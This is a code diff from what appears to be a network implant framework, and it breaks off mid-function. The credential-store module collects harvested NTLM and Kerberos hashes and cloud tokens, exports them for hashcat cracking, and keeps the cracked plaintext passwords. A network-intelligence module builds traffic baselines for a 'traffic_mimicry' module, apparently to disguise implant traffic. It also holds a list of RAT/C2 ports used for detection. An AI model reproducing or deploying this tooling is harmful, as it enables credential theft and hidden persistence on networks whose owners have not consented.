cred_value=p.get("ticket_hash", ""),
|
||||
hashcat_mode=_HASHCAT_MODES.get(cred_type),
|
||||
notes=p.get("notes", f"SPN: {p.get('spn', '')}"),
|
||||
)
|
||||
|
||||
def _on_cloud_token(self, event) -> None:
|
||||
"""Handle CLOUD_TOKEN_FOUND events (AWS/Azure/GCP tokens)."""
|
||||
p = event.payload
|
||||
self._ingest_credential(
|
||||
source_module=event.source_module or "cloud_token_harvester",
|
||||
source_ip=p.get("source_ip", ""),
|
||||
target_ip=p.get("target_ip", ""),
|
||||
target_port=p.get("target_port"),
|
||||
service=p.get("cloud_provider", "cloud"),
|
||||
username=p.get("identity", ""),
|
||||
domain=p.get("account_id", ""),
|
||||
cred_type="cloud_token",
|
||||
cred_value=p.get("token", ""),
|
||||
hashcat_mode=None,
|
||||
notes=p.get("notes", f"Provider: {p.get('cloud_provider', '')}"),
|
||||
)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Core credential storage
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _ingest_credential(self, source_module: str, source_ip: str,
|
||||
target_ip: str, target_port: Optional[int],
|
||||
service: str, username: str, domain: str,
|
||||
cred_type: str, cred_value: str,
|
||||
hashcat_mode: Optional[int] = None,
|
||||
notes: str = "") -> bool:
|
||||
"""Insert a credential, deduplicating on (service, username, cred_type, cred_value).
|
||||
|
||||
Returns True if a new credential was inserted, False if duplicate.
|
||||
"""
|
||||
if not cred_value:
|
||||
return False
|
||||
|
||||
# Auto-resolve hashcat mode if not provided
|
||||
if hashcat_mode is None:
|
||||
hashcat_mode = _HASHCAT_MODES.get(cred_type.lower())
|
||||
|
||||
self._ingest_count += 1
|
||||
|
||||
with self._lock:
|
||||
try:
|
||||
self._conn.execute(
|
||||
"""INSERT INTO credentials
|
||||
(timestamp, source_module, source_ip, target_ip, target_port,
|
||||
service, username, domain, cred_type, cred_value,
|
||||
hashcat_mode, crack_status, notes)
|
||||
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, 'uncracked', ?)""",
|
||||
(time.time(), source_module, source_ip, target_ip, target_port,
|
||||
service, username, domain, cred_type, cred_value,
|
||||
hashcat_mode, notes),
|
||||
)
|
||||
self._conn.commit()
|
||||
logger.info(
|
||||
"New credential: %s\\%s@%s (%s via %s)",
|
||||
domain, username, service, cred_type, source_module,
|
||||
)
|
||||
return True
|
||||
except sqlite3.IntegrityError:
|
||||
# Duplicate — update notes/source if new info
|
||||
self._dedup_count += 1
|
||||
self._conn.execute(
|
||||
"""UPDATE credentials
|
||||
SET notes = CASE WHEN notes = '' THEN ? ELSE notes || '; ' || ? END,
|
||||
source_module = CASE WHEN source_module NOT LIKE '%' || ? || '%'
|
||||
THEN source_module || ',' || ? ELSE source_module END
|
||||
WHERE service=? AND username=? AND cred_type=? AND cred_value=?""",
|
||||
(notes, notes, source_module, source_module,
|
||||
service, username, cred_type, cred_value),
|
||||
)
|
||||
self._conn.commit()
|
||||
return False
|
||||
except Exception:
|
||||
logger.exception("Failed to ingest credential")
|
||||
return False
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Crack status management
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def update_crack_status(self, cred_id: int, status: str,
|
||||
cracked_value: str = "") -> None:
|
||||
"""Update crack status for a credential.
|
||||
|
||||
Args:
|
||||
cred_id: Credential ID.
|
||||
status: One of 'uncracked', 'cracking', 'cracked'.
|
||||
cracked_value: The plaintext password if cracked.
|
||||
"""
|
||||
if status not in ("uncracked", "cracking", "cracked"):
|
||||
return
|
||||
|
||||
with self._lock:
|
||||
try:
|
||||
self._conn.execute(
|
||||
"""UPDATE credentials
|
||||
SET crack_status=?, cracked_value=?
|
||||
WHERE id=?""",
|
||||
(status, cracked_value, cred_id),
|
||||
)
|
||||
self._conn.commit()
|
||||
except Exception:
|
||||
logger.exception("Failed to update crack status for ID %d", cred_id)
|
||||
|
||||
def bulk_update_cracked(self, results: dict) -> int:
|
||||
"""Bulk update cracked passwords from hashcat output.
|
||||
|
||||
Args:
|
||||
results: {hash_value: plaintext_password, ...}
|
||||
|
||||
Returns:
|
||||
Number of credentials updated.
|
||||
"""
|
||||
updated = 0
|
||||
with self._lock:
|
||||
try:
|
||||
for hash_val, plaintext in results.items():
|
||||
cur = self._conn.execute(
|
||||
"""UPDATE credentials
|
||||
SET crack_status='cracked', cracked_value=?
|
||||
WHERE cred_value=? AND crack_status != 'cracked'""",
|
||||
(plaintext, hash_val),
|
||||
)
|
||||
updated += cur.rowcount
|
||||
self._conn.commit()
|
||||
except Exception:
|
||||
logger.exception("Failed to bulk update cracked credentials")
|
||||
return updated
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Export methods
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def to_hashcat(self, mode: Optional[int] = None) -> str:
|
||||
"""Export credentials in hashcat format, optionally filtered by mode.
|
||||
|
||||
Args:
|
||||
mode: Hashcat mode number. If None, export all hashable credentials.
|
||||
|
||||
Returns:
|
||||
Newline-separated hash strings ready for hashcat.
|
||||
"""
|
||||
with self._lock:
|
||||
if mode is not None:
|
||||
rows = self._conn.execute(
|
||||
"""SELECT username, domain, cred_value, cred_type
|
||||
FROM credentials
|
||||
WHERE hashcat_mode=? AND crack_status='uncracked'""",
|
||||
(mode,),
|
||||
).fetchall()
|
||||
else:
|
||||
rows = self._conn.execute(
|
||||
"""SELECT username, domain, cred_value, cred_type
|
||||
FROM credentials
|
||||
WHERE hashcat_mode IS NOT NULL AND crack_status='uncracked'""",
|
||||
).fetchall()
|
||||
|
||||
lines = []
|
||||
for username, domain, cred_value, cred_type in rows:
|
||||
# NTLMv2 and similar Net-NTLM hashes are already in hashcat format
|
||||
if cred_type.lower() in ("ntlmv2", "net-ntlmv2", "ntlmv1", "net-ntlmv1"):
|
||||
lines.append(cred_value)
|
||||
elif cred_type.lower() in ("kerberos_tgs", "kerberos_as",
|
||||
"kerberos_tgs_aes128", "kerberos_tgs_aes256"):
|
||||
lines.append(cred_value)
|
||||
else:
|
||||
# Generic: just the hash value
|
||||
lines.append(cred_value)
|
||||
|
||||
return "\n".join(lines)
|
||||
|
||||
def to_csv(self) -> str:
|
||||
"""Export all credentials as CSV."""
|
||||
with self._lock:
|
||||
rows = self._conn.execute(
|
||||
"""SELECT id, timestamp, source_module, source_ip, target_ip,
|
||||
target_port, service, username, domain, cred_type,
|
||||
cred_value, hashcat_mode, cracked_value, crack_status, notes
|
||||
FROM credentials ORDER BY timestamp"""
|
||||
).fetchall()
|
||||
|
||||
output = io.StringIO()
|
||||
writer = csv.writer(output)
|
||||
writer.writerow([
|
||||
"id", "timestamp", "source_module", "source_ip", "target_ip",
|
||||
"target_port", "service", "username", "domain", "cred_type",
|
||||
"cred_value", "hashcat_mode", "cracked_value", "crack_status", "notes",
|
||||
])
|
||||
for row in rows:
|
||||
writer.writerow(row)
|
||||
|
||||
return output.getvalue()
|
||||
|
||||
def to_json(self) -> str:
|
||||
"""Export all credentials as JSON."""
|
||||
with self._lock:
|
||||
self._conn.row_factory = sqlite3.Row
|
||||
rows = self._conn.execute(
|
||||
"""SELECT * FROM credentials ORDER BY timestamp"""
|
||||
).fetchall()
|
||||
self._conn.row_factory = None
|
||||
|
||||
return json.dumps([dict(r) for r in rows], indent=2, default=str)
|
||||
|
||||
def summary(self) -> dict:
|
||||
"""Return a summary of stored credentials."""
|
||||
with self._lock:
|
||||
total = self._conn.execute("SELECT COUNT(*) FROM credentials").fetchone()[0]
|
||||
by_type = self._conn.execute(
|
||||
"SELECT cred_type, COUNT(*) FROM credentials GROUP BY cred_type"
|
||||
).fetchall()
|
||||
by_service = self._conn.execute(
|
||||
"SELECT service, COUNT(*) FROM credentials GROUP BY service"
|
||||
).fetchall()
|
||||
by_status = self._conn.execute(
|
||||
"SELECT crack_status, COUNT(*) FROM credentials GROUP BY crack_status"
|
||||
).fetchall()
|
||||
unique_users = self._conn.execute(
|
||||
"SELECT COUNT(DISTINCT username) FROM credentials"
|
||||
).fetchone()[0]
|
||||
unique_hosts = self._conn.execute(
|
||||
"SELECT COUNT(DISTINCT target_ip) FROM credentials WHERE target_ip != ''"
|
||||
).fetchone()[0]
|
||||
|
||||
return {
|
||||
"total": total,
|
||||
"unique_users": unique_users,
|
||||
"unique_hosts": unique_hosts,
|
||||
"by_type": {t: c for t, c in by_type},
|
||||
"by_service": {s: c for s, c in by_service},
|
||||
"by_status": {s: c for s, c in by_status},
|
||||
}
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Query helpers
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def get_credentials(self, service: str = None, username: str = None,
|
||||
cred_type: str = None, limit: int = 100) -> list:
|
||||
"""Query credentials with optional filters."""
|
||||
clauses = []
|
||||
params = []
|
||||
|
||||
if service:
|
||||
clauses.append("service = ?")
|
||||
params.append(service)
|
||||
if username:
|
||||
clauses.append("username = ?")
|
||||
params.append(username)
|
||||
if cred_type:
|
||||
clauses.append("cred_type = ?")
|
||||
params.append(cred_type)
|
||||
|
||||
where = " AND ".join(clauses) if clauses else "1=1"
|
||||
params.append(limit)
|
||||
|
||||
with self._lock:
|
||||
self._conn.row_factory = sqlite3.Row
|
||||
rows = self._conn.execute(
|
||||
f"SELECT * FROM credentials WHERE {where} ORDER BY timestamp DESC LIMIT ?",
|
||||
params,
|
||||
).fetchall()
|
||||
self._conn.row_factory = None
|
||||
|
||||
return [dict(r) for r in rows]
|
||||
|
||||
def get_cracked(self) -> list:
|
||||
"""Return all cracked credentials with plaintext values."""
|
||||
with self._lock:
|
||||
self._conn.row_factory = sqlite3.Row
|
||||
rows = self._conn.execute(
|
||||
"""SELECT username, domain, service, cracked_value, target_ip
|
||||
FROM credentials
|
||||
WHERE crack_status='cracked' AND cracked_value IS NOT NULL
|
||||
ORDER BY timestamp DESC"""
|
||||
).fetchall()
|
||||
self._conn.row_factory = None
|
||||
|
||||
return [dict(r) for r in rows]
|
||||
@@ -0,0 +1,480 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Network intelligence — beacon detection, communication graph analysis,
|
||||
existing C2/malware detection, and service dependency mapping.
|
||||
|
||||
Analyzes traffic patterns to identify beaconing connections, central/isolated
|
||||
nodes, known-bad indicators, and service dependencies. Feeds anomaly
|
||||
baselines to traffic_mimicry.
|
||||
"""
|
||||
|
||||
import json
|
||||
import logging
|
||||
import math
|
||||
import os
|
||||
import sqlite3
|
||||
import threading
|
||||
import time
|
||||
from collections import defaultdict
|
||||
from typing import Optional
|
||||
|
||||
from modules.base import BaseModule
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
# Known malicious infrastructure patterns
|
||||
_KNOWN_BAD_PORTS = {
|
||||
4444, 5555, 1234, 31337, 8888, 6666, 6667, 6668, 6669, # common RAT/IRC
|
||||
4443, 8443, 2222, # common C2 alt ports
|
||||
}
|
||||
|
||||
# DNS tunneling detection thresholds
|
||||
_DNS_TUNNEL_MIN_SUBDOMAIN_LEN = 30 # base64-encoded data tends to be long
|
||||
_DNS_TUNNEL_QUERY_RATE = 50 # queries/min to a single domain = suspicious
|
||||
|
||||
# Beacon detection defaults
|
||||
_BEACON_INTERVAL_RATIO = 0.15 # stddev/mean < 0.15 = likely beacon
|
||||
_BEACON_MIN_CONNECTIONS = 10 # need enough samples to be meaningful
|
||||
|
||||
|
||||
class NetIntel(BaseModule):
|
||||
"""Analyze network traffic patterns for beacons, C2, anomalies, and dependencies."""
|
||||
|
||||
name = "net_intel"
|
||||
module_type = "intel"
|
||||
priority = 150
|
||||
requires_root = False
|
||||
|
||||
def __init__(self, bus, state, config, engine=None):
|
||||
super().__init__(bus, state, config, engine)
|
||||
self._lock = threading.Lock()
|
||||
self._analysis_thread: Optional[threading.Thread] = None
|
||||
|
||||
# Connection tracking: (src, dst, port) -> [timestamps]
|
||||
self._conn_times: dict[tuple, list] = defaultdict(list)
|
||||
|
||||
# Communication graph: ip -> {peers: set, bytes_in, bytes_out}
|
||||
self._comm_graph: dict[str, dict] = defaultdict(
|
||||
lambda: {"peers": set(), "bytes_in": 0, "bytes_out": 0, "conn_count": 0}
|
||||
)
|
||||
|
||||
# DNS query tracking: domain -> [timestamps]
|
||||
self._dns_queries: dict[str, list] = defaultdict(list)
|
||||
|
||||
# Detected beacons
|
||||
self._beacons: list[dict] = []
|
||||
|
||||
# Service dependency map: service_ip:port -> [client_ips]
|
||||
self._service_deps: dict[str, set] = defaultdict(set)
|
||||
|
||||
# Anomalies / suspicious findings
|
||||
self._findings: list[dict] = []
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# BaseModule interface
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def start(self) -> None:
|
||||
if self._running:
|
||||
return
|
||||
|
||||
self.bus.subscribe(self._on_host_discovered, "HOST_DISCOVERED")
|
||||
self.bus.subscribe(self._on_beacon_detected, "BEACON_DETECTED")
|
||||
|
||||
self._running = True
|
||||
self._pid = os.getpid()
|
||||
self._start_time = time.time()
|
||||
|
||||
# Periodic analysis thread
|
||||
self._analysis_thread = threading.Thread(
|
||||
target=self._analysis_loop, daemon=True,
|
||||
name="sensor-netintel-analysis",
|
||||
)
|
||||
self._analysis_thread.start()
|
||||
|
||||
self.state.set_module_status(self.name, "running", pid=self._pid)
|
||||
logger.info("NetIntel started")
|
||||
|
||||
def stop(self) -> None:
|
||||
if not self._running:
|
||||
return
|
||||
self._running = False
|
||||
|
||||
self.bus.unsubscribe(self._on_host_discovered, "HOST_DISCOVERED")
|
||||
self.bus.unsubscribe(self._on_beacon_detected, "BEACON_DETECTED")
|
||||
|
||||
# Persist findings
|
||||
self._save_findings()
|
||||
|
||||
self.state.set_module_status(self.name, "stopped")
|
||||
logger.info(
|
||||
"NetIntel stopped — %d beacons, %d findings",
|
||||
len(self._beacons), len(self._findings),
|
||||
)
|
||||
|
||||
def status(self) -> dict:
|
||||
return {
|
||||
"running": self._running,
|
||||
"pid": self._pid,
|
||||
"uptime": time.time() - self._start_time if self._start_time else 0,
|
||||
"tracked_flows": len(self._conn_times),
|
||||
"graph_nodes": len(self._comm_graph),
|
||||
"beacons_detected": len(self._beacons),
|
||||
"findings": len(self._findings),
|
||||
}
|
||||
|
||||
def configure(self, config: dict) -> None:
|
||||
self.config.update(config)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Data ingestion
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def ingest_connection(self, src_ip: str, dst_ip: str, dst_port: int,
|
||||
protocol: str = "tcp", bytes_sent: int = 0,
|
||||
bytes_recv: int = 0, timestamp: float = None) -> None:
|
||||
"""Ingest a connection record for analysis.
|
||||
|
||||
Called by other modules (dns_logger, packet analyzers) or directly.
|
||||
"""
|
||||
ts = timestamp or time.time()
|
||||
|
||||
with self._lock:
|
||||
# Connection timing for beacon detection
|
||||
flow_key = (src_ip, dst_ip, dst_port)
|
||||
self._conn_times[flow_key].append(ts)
|
||||
|
||||
# Communication graph
|
||||
self._comm_graph[src_ip]["peers"].add(dst_ip)
|
||||
self._comm_graph[src_ip]["bytes_out"] += bytes_sent
|
||||
self._comm_graph[src_ip]["conn_count"] += 1
|
||||
|
||||
self._comm_graph[dst_ip]["peers"].add(src_ip)
|
||||
self._comm_graph[dst_ip]["bytes_in"] += bytes_recv
|
||||
self._comm_graph[dst_ip]["conn_count"] += 1
|
||||
|
||||
# Service dependency
|
||||
service_key = f"{dst_ip}:{dst_port}"
|
||||
self._service_deps[service_key].add(src_ip)
|
||||
|
||||
# Known-bad port check
|
||||
if dst_port in _KNOWN_BAD_PORTS:
|
||||
self._add_finding(
|
||||
"suspicious_port",
|
||||
f"{src_ip} -> {dst_ip}:{dst_port} ({protocol})",
|
||||
severity="warning",
|
||||
details={"src": src_ip, "dst": dst_ip, "port": dst_port},
|
||||
)
|
||||
|
||||
def ingest_dns_query(self, client_ip: str, query_name: str,
|
||||
query_type: str = "A", timestamp: float = None) -> None:
|
||||
"""Ingest a DNS query for tunneling and pattern analysis."""
|
||||
ts = timestamp or time.time()
|
||||
|
||||
with self._lock:
|
||||
self._dns_queries[query_name].append(ts)
|
||||
|
||||
# Check for DNS tunneling indicators
|
||||
parts = query_name.split(".")
|
||||
if len(parts) >= 3:
|
||||
# Long subdomain labels suggest encoding
|
||||
subdomain = ".".join(parts[:-2])
|
||||
if len(subdomain) >= _DNS_TUNNEL_MIN_SUBDOMAIN_LEN:
|
||||
base_domain = ".".join(parts[-2:])
|
||||
self._add_finding(
|
||||
"dns_tunnel_suspect",
|
||||
f"Long subdomain to {base_domain} from {client_ip}: "
|
||||
f"{len(subdomain)} chars",
|
||||
severity="warning",
|
||||
details={
|
||||
"client": client_ip,
|
||||
"base_domain": base_domain,
|
||||
"subdomain_len": len(subdomain),
|
||||
"query_type": query_type,
|
||||
},
|
||||
)
|
||||
|
||||
def _on_host_discovered(self, event) -> None:
|
||||
"""Track new hosts for the communication graph."""
|
||||
p = event.payload
|
||||
ip = p.get("ip", "")
|
||||
if ip and ip not in self._comm_graph:
|
||||
with self._lock:
|
||||
self._comm_graph[ip]["peers"] = set()
|
||||
|
||||
def _on_beacon_detected(self, event) -> None:
|
||||
"""Record externally detected beacons."""
|
||||
p = event.payload
|
||||
with self._lock:
|
||||
self._beacons.append({
|
||||
"src": p.get("src_ip", ""),
|
||||
"dst": p.get("dst_ip", ""),
|
||||
"port": p.get("port", 0),
|
||||
"interval": p.get("interval", 0),
|
||||
"jitter": p.get("jitter", 0),
|
||||
"detected_at": time.time(),
|
||||
"source": event.source_module,
|
||||
})
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Analysis engine
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _analysis_loop(self) -> None:
|
||||
"""Periodic analysis of accumulated traffic data."""
|
||||
interval = self.config.get("analysis_interval", 120)
|
||||
while self._running:
|
||||
time.sleep(interval)
|
||||
try:
|
||||
self._detect_beacons()
|
||||
self._detect_dns_tunneling()
|
||||
self._analyze_communication_graph()
|
||||
self._save_findings()
|
||||
except Exception:
|
||||
logger.exception("NetIntel analysis cycle failed")
|
||||
|
||||
def _detect_beacons(self) -> None:
|
||||
"""Detect beaconing connections by analyzing inter-connection intervals.
|
||||
|
||||
A beacon has a regular interval: stddev/mean ratio < threshold.
|
||||
"""
|
||||
threshold = self.config.get(
|
||||
"beacon_ratio_threshold", _BEACON_INTERVAL_RATIO
|
||||
)
|
||||
min_samples = self.config.get(
|
||||
"beacon_min_connections", _BEACON_MIN_CONNECTIONS
|
||||
)
|
||||
|
||||
with self._lock:
|
||||
for flow_key, timestamps in self._conn_times.items():
|
||||
if len(timestamps) < min_samples:
|
||||
continue
|
||||
|
||||
# Calculate inter-arrival intervals
|
||||
sorted_ts = sorted(timestamps)
|
||||
intervals = [
|
||||
sorted_ts[i + 1] - sorted_ts[i]
|
||||
for i in range(len(sorted_ts) - 1)
|
||||
]
|
||||
|
||||
if not intervals:
|
||||
continue
|
||||
|
||||
mean_interval = sum(intervals) / len(intervals)
|
||||
if mean_interval <= 0:
|
||||
continue
|
||||
|
||||
variance = sum((x - mean_interval) ** 2 for x in intervals) / len(intervals)
|
||||
stddev = math.sqrt(variance)
|
||||
ratio = stddev / mean_interval
|
||||
|
||||
if ratio < threshold:
|
||||
src, dst, port = flow_key
|
||||
beacon_info = {
|
||||
"src": src,
|
||||
"dst": dst,
|
||||
"port": port,
|
||||
"mean_interval": round(mean_interval, 2),
|
||||
"stddev": round(stddev, 2),
|
||||
"ratio": round(ratio, 4),
|
||||
"sample_count": len(timestamps),
|
||||
"detected_at": time.time(),
|
||||
}
|
||||
|
||||
# Avoid duplicate beacon alerts
|
||||
is_dup = any(
|
||||
b["src"] == src and b["dst"] == dst and b["port"] == port
|
||||
for b in self._beacons
|
||||
)
|
||||
if not is_dup:
|
||||
self._beacons.append(beacon_info)
|
||||
self.bus.emit("BEACON_DETECTED", {
|
||||
"src_ip": src,
|
||||
"dst_ip": dst,
|
||||
"port": port,
|
||||
"interval": mean_interval,
|
||||
"jitter": stddev,
|
||||
"ratio": ratio,
|
||||
}, source_module=self.name)
|
||||
|
||||
logger.warning(
|
||||
"BEACON: %s -> %s:%d every %.1fs "
|
||||
"(ratio=%.4f, n=%d)",
|
||||
src, dst, port, mean_interval, ratio,
|
||||
len(timestamps),
|
||||
)
|
||||
|
||||
def _detect_dns_tunneling(self) -> None:
|
||||
"""Detect potential DNS tunneling by query rate to specific domains."""
|
||||
now = time.time()
|
||||
window = 60.0 # 1-minute window
|
||||
|
||||
with self._lock:
|
||||
# Aggregate by base domain (last 2 labels)
|
||||
domain_rates: dict[str, int] = defaultdict(int)
|
||||
for query_name, timestamps in self._dns_queries.items():
|
||||
parts = query_name.split(".")
|
||||
if len(parts) >= 2:
|
||||
base = ".".join(parts[-2:])
|
||||
recent = sum(1 for t in timestamps if now - t < window)
|
||||
domain_rates[base] += recent
|
||||
|
||||
for domain, rate in domain_rates.items():
|
||||
if rate >= _DNS_TUNNEL_QUERY_RATE:
|
||||
self._add_finding(
|
||||
"dns_tunnel_rate",
|
||||
f"High DNS query rate to {domain}: {rate}/min",
|
||||
severity="critical",
|
||||
details={"domain": domain, "rate_per_min": rate},
|
||||
)
|
||||
|
||||
def _analyze_communication_graph(self) -> None:
|
||||
"""Identify central nodes, isolated hosts, and unusual patterns."""
|
||||
with self._lock:
|
||||
if len(self._comm_graph) < 3:
|
||||
return
|
||||
|
||||
# Find most-connected nodes (potential central servers / DCs)
|
||||
by_peers = sorted(
|
||||
self._comm_graph.items(),
|
||||
key=lambda x: len(x[1]["peers"]),
|
||||
reverse=True,
|
||||
)
|
||||
|
||||
total_nodes = len(self._comm_graph)
|
||||
central_threshold = max(total_nodes * 0.3, 5)
|
||||
|
||||
for ip, data in by_peers[:10]:
|
||||
peer_count = len(data["peers"])
|
||||
if peer_count >= central_threshold:
|
||||
self.state.set(
|
||||
self.name,
|
||||
f"central_node_{ip}",
|
||||
json.dumps({
|
||||
"ip": ip,
|
||||
"peer_count": peer_count,
|
||||
"bytes_in": data["bytes_in"],
|
||||
"bytes_out": data["bytes_out"],
|
||||
}),
|
||||
)
|
||||
|
||||
# Find isolated hosts (single or no peers — unusual)
|
||||
for ip, data in self._comm_graph.items():
|
||||
if len(data["peers"]) <= 1 and data["conn_count"] > 20:
|
||||
self._add_finding(
|
||||
"isolated_talker",
|
||||
f"{ip} has {data['conn_count']} connections "
|
||||
f"but only {len(data['peers'])} peer(s)",
|
||||
severity="info",
|
||||
details={"ip": ip, "peers": list(data["peers"])},
|
||||
)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Findings management
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _add_finding(self, finding_type: str, description: str,
|
||||
severity: str = "info", details: dict = None) -> None:
|
||||
"""Record a finding, deduplicating by type + description."""
|
||||
# Simple dedup: don't re-add identical findings
|
||||
for f in self._findings:
|
||||
if f["type"] == finding_type and f["description"] == description:
|
||||
f["last_seen"] = time.time()
|
||||
f["count"] = f.get("count", 1) + 1
|
||||
return
|
||||
|
||||
self._findings.append({
|
||||
"type": finding_type,
|
||||
"description": description,
|
||||
"severity": severity,
|
||||
"details": details or {},
|
||||
"first_seen": time.time(),
|
||||
"last_seen": time.time(),
|
||||
"count": 1,
|
||||
})
|
||||
|
||||
def _save_findings(self) -> None:
|
||||
"""Persist findings and beacons to state."""
|
||||
with self._lock:
|
||||
beacons_ser = list(self._beacons)
|
||||
findings_ser = list(self._findings)
|
||||
|
||||
# Serialize service deps
|
||||
deps_ser = {k: list(v) for k, v in self._service_deps.items()}
|
||||
|
||||
self.state.set(self.name, "beacons", json.dumps(beacons_ser))
|
||||
self.state.set(self.name, "findings", json.dumps(findings_ser))
|
||||
self.state.set(self.name, "service_deps", json.dumps(deps_ser))
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Public query interface
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def get_beacons(self) -> list:
|
||||
"""Return all detected beacons."""
|
||||
with self._lock:
|
||||
return list(self._beacons)
|
||||
|
||||
def get_findings(self, severity: str = None) -> list:
|
||||
"""Return findings, optionally filtered by severity."""
|
||||
with self._lock:
|
||||
if severity:
|
||||
return [f for f in self._findings if f["severity"] == severity]
|
||||
return list(self._findings)
|
||||
|
||||
def get_central_nodes(self, min_peers: int = 5) -> list:
|
||||
"""Return the most-connected nodes in the communication graph."""
|
||||
with self._lock:
|
||||
results = []
|
||||
for ip, data in self._comm_graph.items():
|
||||
peer_count = len(data["peers"])
|
||||
if peer_count >= min_peers:
|
||||
results.append({
|
||||
"ip": ip,
|
||||
"peer_count": peer_count,
|
||||
"bytes_in": data["bytes_in"],
|
||||
"bytes_out": data["bytes_out"],
|
||||
"conn_count": data["conn_count"],
|
||||
})
|
||||
results.sort(key=lambda x: x["peer_count"], reverse=True)
|
||||
return results
|
||||
|
||||
def get_service_dependencies(self) -> dict:
|
||||
"""Return service dependency map: service -> [dependent clients]."""
|
||||
with self._lock:
|
||||
return {k: list(v) for k, v in self._service_deps.items()}
|
||||
|
||||
def get_anomaly_baseline(self) -> dict:
|
||||
"""Return traffic pattern baseline for traffic_mimicry module.
|
||||
|
||||
Provides:
|
||||
- Typical connection intervals per flow
|
||||
- Byte distribution per protocol
|
||||
- Peak/quiet hour patterns
|
||||
"""
|
||||
with self._lock:
|
||||
flow_intervals = {}
|
||||
for flow_key, timestamps in self._conn_times.items():
|
||||
if len(timestamps) < 3:
|
||||
continue
|
||||
sorted_ts = sorted(timestamps)
|
||||
intervals = [sorted_ts[i + 1] - sorted_ts[i]
|
||||
for i in range(len(sorted_ts) - 1)]
|
||||
mean = sum(intervals) / len(intervals)
|
||||
flow_intervals[f"{flow_key[0]}->{flow_key[1]}:{flow_key[2]}"] = {
|
||||
"mean_interval": round(mean, 2),
|
||||
"sample_count": len(timestamps),
|
||||
}
|
||||
|
||||
# Hour-of-day connection distribution
|
||||
hourly = defaultdict(int)
|
||||
for timestamps in self._conn_times.values():
|
||||
for ts in timestamps:
|
||||
hour = time.localtime(ts).tm_hour
|
||||
hourly[hour] += 1
|
||||
|
||||
return {
|
||||
"flow_intervals": flow_intervals,
|
||||
"hourly_distribution": dict(hourly),
|
||||
"total_flows": len(self._conn_times),
|
||||
"total_nodes": len(self._comm_graph),
|
||||
}
|
||||
@@ -0,0 +1,412 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Operator audit trail — append-only log with HMAC integrity chain.
|
||||
|
||||
Logs all operator actions: SSH sessions, CLI commands, module activations,
|
||||
config changes. Each row includes an HMAC of the previous row, forming
|
||||
a tamper-evident chain. Subscribes to MODULE_STARTED, MODULE_STOPPED,
|
||||
and KILL_SWITCH events.
|
||||
"""
|
||||
|
||||
import hashlib
|
||||
import hmac
|
||||
import json
|
||||
import logging
|
||||
import os
|
||||
import sqlite3
|
||||
import subprocess
|
||||
import threading
|
||||
import time
|
||||
from typing import Optional
|
||||
|
||||
from modules.base import BaseModule
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
_SCHEMA = """
|
||||
CREATE TABLE IF NOT EXISTS audit_log (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
timestamp REAL NOT NULL,
|
||||
action TEXT NOT NULL,
|
||||
operator TEXT DEFAULT '',
|
||||
details TEXT DEFAULT '',
|
||||
hmac TEXT NOT NULL
|
||||
);
|
||||
|
||||
CREATE INDEX IF NOT EXISTS idx_audit_ts ON audit_log(timestamp);
|
||||
CREATE INDEX IF NOT EXISTS idx_audit_action ON audit_log(action);
|
||||
"""
|
||||
|
||||
# Action types
|
||||
ACTION_MODULE_START = "module_start"
|
||||
ACTION_MODULE_STOP = "module_stop"
|
||||
ACTION_KILL_SWITCH = "kill_switch"
|
||||
ACTION_CONFIG_CHANGE = "config_change"
|
||||
ACTION_SSH_SESSION = "ssh_session"
|
||||
ACTION_CLI_COMMAND = "cli_command"
|
||||
ACTION_CRED_EXPORT = "cred_export"
|
||||
ACTION_DATA_EXFIL = "data_exfil"
|
||||
ACTION_BASELINE_BUILD = "baseline_build"
|
||||
ACTION_MANUAL = "manual"
|
||||
|
||||
|
||||
class OperatorAudit(BaseModule):
|
||||
"""Append-only operator audit trail with HMAC integrity chain."""
|
||||
|
||||
name = "operator_audit"
|
||||
module_type = "intel"
|
||||
priority = 50 # Critical — always runs
|
||||
requires_root = False
|
||||
|
||||
def __init__(self, bus, state, config, engine=None):
|
||||
super().__init__(bus, state, config, engine)
|
||||
self._db_path = ""
|
||||
self._conn: Optional[sqlite3.Connection] = None
|
||||
self._lock = threading.Lock()
|
||||
self._hmac_key = b""
|
||||
self._last_hmac = ""
|
||||
self._entry_count = 0
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# BaseModule interface
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def start(self) -> None:
|
||||
if self._running:
|
||||
return
|
||||
|
||||
base_dir = self.config.get("data_dir", os.path.expanduser("~/.implant"))
|
||||
self._db_path = os.path.join(base_dir, "operator_audit.db")
|
||||
os.makedirs(os.path.dirname(self._db_path), exist_ok=True)
|
||||
|
||||
self._conn = sqlite3.connect(self._db_path, check_same_thread=False)
|
||||
self._conn.execute("PRAGMA journal_mode=WAL")
|
||||
self._conn.execute("PRAGMA synchronous=NORMAL")
|
||||
self._conn.row_factory = sqlite3.Row
|
||||
self._conn.executescript(_SCHEMA)
|
||||
|
||||
# HMAC key: from config or derive from machine ID
|
||||
key_config = self.config.get("audit_hmac_key", "")
|
||||
if key_config:
|
||||
self._hmac_key = key_config.encode() if isinstance(key_config, str) else key_config
|
||||
else:
|
||||
self._hmac_key = self._derive_machine_key()
|
||||
|
||||
# Load last HMAC from chain
|
||||
